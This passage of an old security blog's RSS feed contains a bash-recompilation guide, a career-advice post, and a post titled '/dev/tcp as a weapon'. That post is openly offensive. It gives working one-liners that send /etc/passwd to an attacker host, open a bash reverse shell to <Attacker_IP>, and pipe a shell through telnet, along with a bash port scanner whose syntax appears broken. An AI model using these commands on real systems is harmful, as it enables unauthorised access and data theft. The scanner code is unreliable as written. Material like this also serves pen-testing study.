			<content:encoded><![CDATA[<p>Security Reliks has become part of the SecureGossip initiative!</p>
<p>All of our posts will now be made over there, as well as an archive of older posts!</p>
<h2><span style="color:#c0c0c0;">We Moved </span><a href="http://securityreliks.securegossip.com/" target="_self"><span style="color:#ff0000;">Here</span></a><span style="color:#c0c0c0;">!</span></h2>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityreliks.wordpress.com/251/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityreliks.wordpress.com/251/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityreliks.wordpress.com/251/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityreliks.wordpress.com/251/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityreliks.wordpress.com/251/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityreliks.wordpress.com/251/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityreliks.wordpress.com/251/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityreliks.wordpress.com/251/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityreliks.wordpress.com/251/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityreliks.wordpress.com/251/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityreliks.wordpress.com/251/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityreliks.wordpress.com/251/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityreliks.wordpress.com/251/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityreliks.wordpress.com/251/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityreliks.wordpress.com&amp;blog=14527383&amp;post=251&amp;subd=securityreliks&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityreliks.wordpress.com/2010/08/23/we-have-moved-to-securegossip/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/1b6567a9f901eeff144a98623ef7f56d?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">skylero</media:title>
		</media:content>
	</item>
		<item>
		<title>Enabling /dev/tcp on Backtrack 4r1(Ubuntu)</title>
		<link>http://securityreliks.wordpress.com/2010/08/23/enabling-devtcp-on-backtrack-4r1ubuntu/</link>
		<comments>http://securityreliks.wordpress.com/2010/08/23/enabling-devtcp-on-backtrack-4r1ubuntu/#comments</comments>
		<pubDate>Mon, 23 Aug 2010 11:08:29 +0000</pubDate>
		<dc:creator>Skyler</dc:creator>
				<category><![CDATA[Fu (a.k.a Tips)]]></category>

		<guid isPermaLink="false">http://securityreliks.wordpress.com/?p=244</guid>
		<description><![CDATA[After my post on weaponizing /dev/tcp, I had some kickback  from people trying to test it out. Users on a Debian based system will have issues since bash is not compiled with /dev/tcp enabled. All it requires is a quick recompiling of the shell, and a few changes after that: Step 1: Download the latest [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityreliks.wordpress.com&amp;blog=14527383&amp;post=244&amp;subd=securityreliks&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>After my post on <a href="http://securityreliks.wordpress.com/2010/08/20/devtcp-as-a-weapon/" target="_blank">weaponizing /dev/tcp</a>, I had some kickback  from people trying to test it out. Users on a Debian based system will have issues since bash is not compiled with /dev/tcp enabled. All it requires is a quick recompiling of the shell, and a few changes after that:</p>
<p><strong><span style="text-decoration:underline;">Step 1: Download the latest BASH source</span></strong></p>
<p>use a browser to get it <a href="http://ftp.gnu.org/gnu/bash/" target="_blank">here</a>.</p>
<p>or</p>
<blockquote>
<pre>cd /tmp
sudo wget ftp.gnu.org/gnu/bash/bash-4.1.tar.gz</pre>
</blockquote>
<p>NOTE: Backtrack uses an older version of bash. I am not sure if they do this for any specific reason. I compiled 4.1 and havn&#8217;t had any issues. Let me know if you know otherwise</p>
<p><strong><span style="text-decoration:underline;">Step 2: Extract the source code</span></strong></p>
<blockquote>
<pre>tar zxvf bash-4.1.tar.gz
cd bash-4.1</pre>
</blockquote>
<p><strong><span style="text-decoration:underline;">Step 3: Configure and install</span></strong></p>
<blockquote>
<pre>sudo su
./configure --enable-net-redirections
make &amp;&amp; make install</pre>
</blockquote>
<p><strong><span style="text-decoration:underline;">Step 4: Replace old version of bash with the new version</span></strong></p>
<blockquote>
<pre>mv /bin/bash /bin/bash-OLD
ln -s /usr/local/bin/bash /bin/bash</pre>
</blockquote>
<p><strong><span style="text-decoration:underline;">Step 5: Test!</span></strong></p>
<p>check to see if your new installation works. Close your current terminal, and reopn it. Then issue the following command and check the results:</p>
<blockquote>
<pre>
<div id="_mcePaste">reliks@bt:/tmp$ <strong>bash --version</strong></div>
<div id="_mcePaste">GNU bash, version 4.1.0(1)-release (i686-pc-linux-gnu)</div>

.....
reliks@bt:/tmp$ <strong>/bin/bash --version</strong>
GNU bash, version 4.1.0(1)-release (i686-pc-linux-gnu)</pre>
</blockquote>
<div>The versions returned should be that of which you just installed. They should also match.</div>
<p>You can now test to see if your access to /dev/tcp works:</p>
<blockquote>
<pre>
<pre>cat &lt; /dev/tcp/time.nist.gov/13</pre>
</pre>
</blockquote>
<p>There you go! You should get back the time according to NIST.</p>
<p>Let me know if you have any issues! thanks!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityreliks.wordpress.com/244/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityreliks.wordpress.com/244/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityreliks.wordpress.com/244/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityreliks.wordpress.com/244/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityreliks.wordpress.com/244/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityreliks.wordpress.com/244/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityreliks.wordpress.com/244/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityreliks.wordpress.com/244/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityreliks.wordpress.com/244/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityreliks.wordpress.com/244/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityreliks.wordpress.com/244/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityreliks.wordpress.com/244/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityreliks.wordpress.com/244/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityreliks.wordpress.com/244/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityreliks.wordpress.com&amp;blog=14527383&amp;post=244&amp;subd=securityreliks&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityreliks.wordpress.com/2010/08/23/enabling-devtcp-on-backtrack-4r1ubuntu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/1b6567a9f901eeff144a98623ef7f56d?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">skylero</media:title>
		</media:content>
	</item>
		<item>
		<title>/dev/tcp as a weapon</title>
		<link>http://securityreliks.wordpress.com/2010/08/20/devtcp-as-a-weapon/</link>
		<comments>http://securityreliks.wordpress.com/2010/08/20/devtcp-as-a-weapon/#comments</comments>
		<pubDate>Fri, 20 Aug 2010 11:49:36 +0000</pubDate>
		<dc:creator>Skyler</dc:creator>
				<category><![CDATA[Fu (a.k.a Tips)]]></category>

		<guid isPermaLink="false">http://securityreliks.wordpress.com/?p=206</guid>
		<description><![CDATA[Here is some Fu to improve your game when pen testing *nix. Situation: You have shell access to a *nix system. You are looking to create a reverse shell, scan other machines on the subnet, and do some file transfer (/etc/passwd). However, there are some things preventing you: Scope prevents you from uploading any files [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityreliks.wordpress.com&amp;blog=14527383&amp;post=206&amp;subd=securityreliks&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Here is some Fu to improve your game when pen testing *nix.</p>
<p>Situation: You have shell access to a *nix system. You are looking to create a reverse shell, scan other machines on the subnet, and do some file transfer (/etc/passwd). However, there are some things preventing you:</p>
<ol>
<li>Scope prevents you from uploading any files onto the machine</li>
<li>A Firewall/AV prevents using something like netcat.</li>
</ol>
<p>what do you do? Use /dev/tcp</p>
<h2><strong><span style="text-decoration:underline;">What is /dev/tcp?</span></strong></h2>
<p>this is a system file that allows you to interact directly with the tcp protocol.</p>
<h2><strong><span style="text-decoration:underline;">Fu</span></strong></h2>
<p>In order to get this to work, you need to be able to set up netcat listeners on your own machine. This can be done like this:</p>
<blockquote>
<pre>$ nc -l -p &lt;port&gt;</pre>
</blockquote>
<p><em><strong>Transfer file:</strong></em></p>
<p>This is pretty straight forward, just like you would image:</p>
<blockquote>
<pre>cat /etc/passwd &gt; /dev/tcp/&lt;Attacker_IP&gt;/&lt;Port&gt;</pre>
</blockquote>
<p>Back on your listener console, you would then see the contents of /etc/passwd displayed. You would then easily pipe that into a file for parsing or future reference.</p>
<p><em><strong>Port Scanner</strong></em></p>
<p>This piece or art comes from Pen Testing Ninjitsu. To create a port scanner using built in bash commands, this is what you are looking to do:</p>
<blockquote>
<pre>$port = 1; while [$port -lt 1024];do echo &gt; /dev/tcp/&lt;TARG_IP&gt;/$port;<strong>→</strong>
 [$? == 0] &amp;&amp; echo $port "is open" &gt;&gt; /tmp/ports.txt; port = 'expr <strong>→</strong>
$port + 1'; done;</pre>
</blockquote>
<p>Let me break this down for you:</p>
<ul>
<li>Create a variable called port, and set its value equal to 1</li>
</ul>
<blockquote>
<pre>port = 1;</pre>
</blockquote>
<ul>
<li>Create a loop that continues to run as long as the variable &#8216;port&#8217; is less than 1024</li>
</ul>
<blockquote>
<pre>while [$port -lt 1024];</pre>
</blockquote>
<ul>
<li>For each iteration, send some packets to the target IP address, with the port number equal to the current value of  our &#8216;port&#8217; variable</li>
</ul>
<blockquote>
<pre>do echo &gt; /dev/tcp/&lt;TARG_IP&gt;/$port;</pre>
</blockquote>
<ul>
<li>Check to see what the bash error value is as a result of that echo into /dev/tcp. Check to see if it is equal to zero, or in other words, check to see if there were no errors</li>
</ul>
<blockquote>
<pre>[$? == 0]</pre>
</blockquote>
<ul>
<li>If it IS equal to zero, or in other words, there were no errors, append a string into /tmp/ports.txt stating that the last scanned port is open</li>
</ul>
<blockquote>
<pre>&amp;&amp; echo $port "is open" &gt;&gt; /tmp/ports.txt;</pre>
</blockquote>
<ul>
<li>Now increment the value of &#8216;port&#8217; by 1, and finish this iteration of the loop.</li>
</ul>
<blockquote>
<pre>port = 'expr $port + 1'; done;</pre>
</blockquote>
<p>Pretty messy, but also fairly straight forward. You could then just read</p>
<p><em><strong>Backdoor/Reverse Shell</strong></em></p>
<p>This is pretty slick in my opinion. Replicates netcat almost exactly. Not as pretty as some things, but still nice:</p>
<blockquote>
<pre>/bin/bash -i &gt; /dev/tcp/&lt;Attacker_IP&gt;/&lt;port&gt; 0&lt;&amp;1 2&gt;&amp;1</pre>
</blockquote>
<p>This is also straight forward:</p>
<ul>
<li>Invoke an interactive bash shell</li>
</ul>
<blockquote>
<pre>/bin/bash -i</pre>
</blockquote>
<ul>
<li>Pipe that shell to the attacker (who has a netcat listener running)</li>
</ul>
<blockquote>
<pre>&gt; /dev/tcp/&lt;Attacker_IP&gt;/&lt;port&gt;</pre>
</blockquote>
<ul>
<li>Take standard input, and connect it to standard output. Do the same with standard error (2&gt;)</li>
</ul>
<blockquote>
<pre>0&lt;&amp;1 2&gt;&amp;1</pre>
</blockquote>
<p>This can also be similarly done using telnet by doing the following (although you need two listeners):</p>
<blockquote>
<pre>telnet &lt;attacker_ip&gt; &lt;port_a&gt; | /bin/bash | telnet &lt;attacker_ip&gt; &lt;port_b&gt;</pre>
</blockquote>
<p>Pretty elite. hope it helps!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityreliks.wordpress.com/206/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityreliks.wordpress.com/206/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityreliks.wordpress.com/206/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityreliks.wordpress.com/206/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityreliks.wordpress.com/206/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityreliks.wordpress.com/206/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityreliks.wordpress.com/206/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityreliks.wordpress.com/206/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityreliks.wordpress.com/206/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityreliks.wordpress.com/206/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityreliks.wordpress.com/206/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityreliks.wordpress.com/206/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityreliks.wordpress.com/206/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityreliks.wordpress.com/206/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityreliks.wordpress.com&amp;blog=14527383&amp;post=206&amp;subd=securityreliks&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityreliks.wordpress.com/2010/08/20/devtcp-as-a-weapon/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/1b6567a9f901eeff144a98623ef7f56d?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">skylero</media:title>
		</media:content>
	</item>
		<item>
		<title>Security 101: bitter sweet beginnings</title>
		<link>http://securityreliks.wordpress.com/2010/08/19/security-101-bitter-sweet-beginnings/</link>
		<comments>http://securityreliks.wordpress.com/2010/08/19/security-101-bitter-sweet-beginnings/#comments</comments>
		<pubDate>Thu, 19 Aug 2010 20:23:06 +0000</pubDate>
		<dc:creator>Skyler</dc:creator>
				<category><![CDATA[Fu (a.k.a Tips)]]></category>

		<guid isPermaLink="false">http://securityreliks.wordpress.com/?p=227</guid>
		<description><![CDATA[I am creating this entry for my friend Sean. He was curious as to how to get into the security field. So here goes: Why getting started is difficult There are a few reasons getting into the security field is difficult. I have narrowed it down into a couple of reasons: The knowledge base grows [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityreliks.wordpress.com&amp;blog=14527383&amp;post=227&amp;subd=securityreliks&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I am creating this entry for my friend Sean. He was curious as to how to get into the security field. So here goes:</p>
<p><strong>Why getting started is difficult</strong></p>
<p>There are a few reasons getting into the security field is difficult. I have narrowed it down into a couple of reasons:</p>
<ol>
<li><span style="text-decoration:underline;">The knowledge base grows faster than you can learn</span> &#8211; What I mean by this is that new things are being developed/discovered ever few minutes. I remember getting started in security, I would spend time learning something out of a book, or off of a webpage, just to find out that it was now old news. I would try fervently to climb the ladder, starting at the basics working my way up. However, after trying desperately to climb as fast as I could I began to notice that the ladder was growing taller faster than I could climb! This can be <em>disheartening</em>.</li>
<li><span style="text-decoration:underline;">the width is just as big as the depth</span> &#8211; There are so many different aspects of security! Testing, Incident Handling, Infrastructure, Management, etc, etc. They all seem to be quite similar, but also quite different in the kinds of skill sets they require! I remember feeling like the deeper I tried to delve into one area, the more complex and slower the learning became; Therefore the more I was falling behind in the other areas! This was very <em>frustrating.</em></li>
<li>t<span style="text-decoration:underline;">he starting line is quite vague</span> &#8211; The first article I was told to read was Aleph One&#8217;s <a href="http://insecure.org/stf/smashstack.html">Smashing the Stack For Fun and Profit</a>. Because I was 15 years old with little lower-level language experience. O was completely overwhelmed. I would run into phrases and words I didnt understand. I would search to learn about those things. In the course of getting definitions of those terms, I found myself encountering more nonsensical data! Therefore my search began digging deeper and deeper, eventually becoming a hole that never led back to my starting point. This was <em>overwhelming</em>.</li>
</ol>
<p><strong>Disheartening, Frustrating, and Overwhelming&#8230;</strong></p>
<p>So you see, getting started in the security field is difficult. I am sure many people have different experiences. I suppose getting started through formal education, or work experience helps.  I pretty much had nothing except the web, IRC, and some less-novice hacker than I who I could throw questions at. It was a miracle I didn&#8217;t just give up on it. I am going to share with you some tips/mindsets I developed from my experience, as well as some resources and wisdom I can share looking back on the situation.</p>
<p><strong>(A  quick word from the Mentor)</strong></p>
<p>In order to succeed, you just need to <em>commit </em>yourself. If you are committed, you are going to do amazing! Seriously, Security is quite technical, but amazingly simplistic. To explain what I mean, let me share with you a quote from the <a href="http://www.technozen.com/manifesto.htm">Hacker&#8217;s Manifesto</a> (i know, i know, just bare with me):</p>
<blockquote><p>I made a discovery today. I found a computer. Wait a second, this is cool. It does what I want it to. If it makes a mistake, it&#8217;s because I screwed it up. Not because it doesn&#8217;t like me&#8230;<br />
Or feels threatened by me&#8230;<br />
Or thinks I&#8217;m a smart ass&#8230;</p></blockquote>
<p>I like this quote because it takes the magic out of computers. It reminds me that a computer simply has a set of rules, and that understanding those rules enables you to manipulate the system. Therefore, when learning security, <em>remember that you are really just learning rules. Don&#8217;t get caught up in the proscribed methods, but recognize why those methods produce the results they do.</em> If you do this, you will find yourself asking the RIGHT questions, and finding the BEST answers. This is KEY.</p>
<p><strong>&#8230;But</strong></p>
<p>Now that we have that out of the way, I am going to address the three issues I listed above:</p>
<ol>
<li><span style="text-decoration:underline;">Knowledge base </span>- This is simple. Don&#8217;t become disheartened. Just learn to plug yourself in. In the military, when doing combat maneuvers, you always provide security. Security elements will protect the primary element from becoming overran by any unexpected enemy reinforcements. Do this in your learning. Plug in to sources of the newest developments in the security field. This will ensure that you are learning the new stuff while you are catching up on the fundamentals. I recommend a few sources for this:
<ul>
<li><em>Mailing Lists</em>: These are a great resource. Most security lists are very well moderated, and very active. I recommend most of the <a href="http://www.securityfocus.com/" target="_blank">SecurityFocus </a>lists, the <a href="www.metasploit.com/framework/support/">Metasploit list </a>, and maybe a few others. That should be enough for now.</li>
<li><em>Blogs</em>: Blogs are a great resource. Some are better than others, but they are a great place to start. Check out my favorite security links located on the right panel of my blog. Some of my favorites are Darknet, and Mubix&#8217;s blog.</li>
<li><em>Podcasts</em>: I Love my podcasts! I am always looking out for new ones! I strongly recommend PaulDotCom and SecurityNow. In addition you might like Hak5, and some others. I also recommend the SANS Internet Storm Center casts to be caught up to date on the latest and greatest security vulnerabilities.</li>
<li><em>News</em>: These are critical. In my opinion the best site overall for security is <a href="http://packetstormsecurity.net/">Packetstorm</a>. They offer learning texts, tool archives, and the latest news. I also watch the <a href="http://isc.sans.edu/index.html" target="_blank">SANS ISC journals</a>, and the <a href="http://www.sans.org/reading_room/">SANS reading room</a>.</li>
<li><em>Twitter -</em> The security industry is extremely active on twitter. You should plug yourself in to them to get started. I think all but 2 of the people I follow on twitter are security based. Go ahead and use that as a good place to start.</li>
</ul>
</li>
<li><span style="text-decoration:underline;">Width vs Depth</span>: When it really comes down to it, you will just need to find one (or two) areas you really enjoy. When I say &#8220;Enjoy&#8221;, i mean it. You may want to end up doing management, but to start out I would find what appeals to you the most. This will guarantee that you keep interested, and will feel accomplished as you learn things! One thing I quickly learned was the amount of spillover that occurs at the deepest parts of each security emphasis. Truly, infrastructure will eventually lead to testing/auditing,  as well as incident handling, and so on. Like I said, find something you like, build a good basis, and then don&#8217;t be afraid to dive deep into what you enjoy. You will eventually find that you learn about all aspects of security, and wont mind the areas you lack in. The Security community is such a shared pool of knowledge, that learning from each other is half the fun. On that note, here are some tips to assist with this process:
<ul>
<li><em>Find your emphasis:</em> Ask people on the mailing lists, search through forums, look for job descriptions. What I did was figure out what I thought was cool (breaking stuff), figure out what it was called (&#8220;hacking&#8221;), and then research what professional positions existed (Penetration Testing).</li>
<li><em>Find a mentor</em>: Its all about who you know. Find someone who can help you answer your questions. They dont need to know everything, they just need to help point you in the right direction. My first mentors were a group of guys in an IRC channel. freenode has a ton of free channels. I would recommend checking out the above podcasts and looking into their IRC channels for people to help.</li>
<li><em>Hands-On as soon as possible -</em> Get your hands-on right away. Download <a href="http://www.backtrack-linux.org/">BackTrack </a>to get your hands on a lot of new tools, and start learning linux. Don&#8217;t worry about knowing ALL of it; just learn what you need, and as further needs arise figure out how to do it. A great resource to figure out how to do things is <a href="http://securitytube.net/" target="_blank">SecurityTube</a>. This site will give you tutorials and presentations on almost anything you need to know, from programming to hacking, etc. There are also a lot of great resources for practicing security related activities. Some of these are:
<ul>
<li>Web Applications: <a href="http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project">WebGoat</a>, <a href="http://google-gruyere.appspot.com/" target="_blank">Gruyere </a>(formerly Jarlsberg), <a href="http://sourceforge.net/projects/dvwa/">DVWA</a>, and the <a href="http://www.foundstone.com/us/resources-free-tools.asp">Hacme </a>apps.</li>
<li>WarGames: <a href="www.hackthissite.org">Hack This Site</a>, <a href="www.overthewire.org/">Over The Wire</a>, and others I can post later.</li>
<li>Insecure Distributions: <a href="http://www.damnvulnerablelinux.org/">DVL</a>, <a href="blog.metasploit.com/2010/05/introducing-metasploitable.html">Metasploitable</a>, Thomas Wilhelms&#8217; <a href="de-ice.net/">de-ICE, PwnOS, and Hackedemia</a>.</li>
</ul>
</li>
<li><em>Certifications</em> &#8211; I have found certifications to be great learning opportunities, not to mention how they increase your professional marketability. There are so many certs out there, that you can find one for whatever you are interested in. For those looking to do government/military work, I would look at the <a href="http://www.eccouncil.org/about_us/dod_8570.aspx" target="_blank">DoD 8570</a> to see what certs would give you the most flexibility for jobs. Here are some that I suggest:
<ul>
<li>Security+ &#8211; Overall great certification. If you want a good place to start for just overall security knowledge, this is the one you want.</li>
<li>eCPPT &#8211; I havn&#8217;t done this course, but I have heard nothing but great reviews. It includes the courseware for life, making it an excellent resource after you get the certification.</li>
<li>CEH &#8211; This is a great starter for those interested in penetration testing, or incident handling. I would strongly recommend this.</li>
<li>CCNA &#8211; If you are going to be doing more infrastructure, you may want to look into Cisco stuff. I put the CCNA because its considered the entry level Cisco cert. You eventually might want the CCNA-Security and some of the other certs that qualify you for firewalls and ids configuration.</li>
<li>CHFI &#8211; This is a good Incident Handler certification. Pretty cheap. I think you have to take the CEH before you can take this one.</li>
</ul>
</li>
</ul>
</li>
<li><span style="text-decoration:underline;">Starting Line:</span> There is none. Thats okay. You need to learn to revel in the successes! Become a sponge and just absorb everything. When you read something you don&#8217;t understand, dont fret. Just remember it, let it serve as a placeholder, and learn about it when you can. Dont let this be overwhelming! Let it be FUN! Find opportunities to teach others and you will figure out more than you would have initially. There are a few things I would recommend you learn that will answer a large amount of your potential questions:
<ul>
<li><em>TCP/IP</em> &#8211; Learn about TCP/IP packets, layers, and basic communications. Understand these and you will do well. I would take the time to read the RFCs for these specific protocols.</li>
<li><em>Basic Programming &#8211; </em>Being able to read through code logic. not necessarily know how to program.</li>
<li><em>Linux/Windows commands</em> &#8211; knowing your way around the command line of both these systems will help greatly.</li>
</ul>
</li>
</ol>
<p>Hopefully this has been a good start to helping those get involved. Feel free to ask any questions.</p>
<p>Enjoy!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityreliks.wordpress.com/227/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityreliks.wordpress.com/227/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityreliks.wordpress.com/227/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityreliks.wordpress.com/227/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityreliks.wordpress.com/227/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityreliks.wordpress.com/227/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityreliks.wordpress.com/227/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityreliks.wordpress.com/227/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityreliks.wordpress.com/227/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityreliks.wordpress.com/227/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityreliks.wordpress.com/227/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityreliks.wordpress.com/227/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityreliks.wordpress.com/227/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityreliks.wordpress.com/227/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityreliks.wordpress.com&amp;blog=14527383&amp;post=227&amp;subd=securityreliks&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityreliks.wordpress.com/2010/08/19/security-101-bitter-sweet-beginnings/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/1b6567a9f901eeff144a98623ef7f56d?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">skylero</media:title>
		</media:content>
	</item>
	</channel>
</rss>
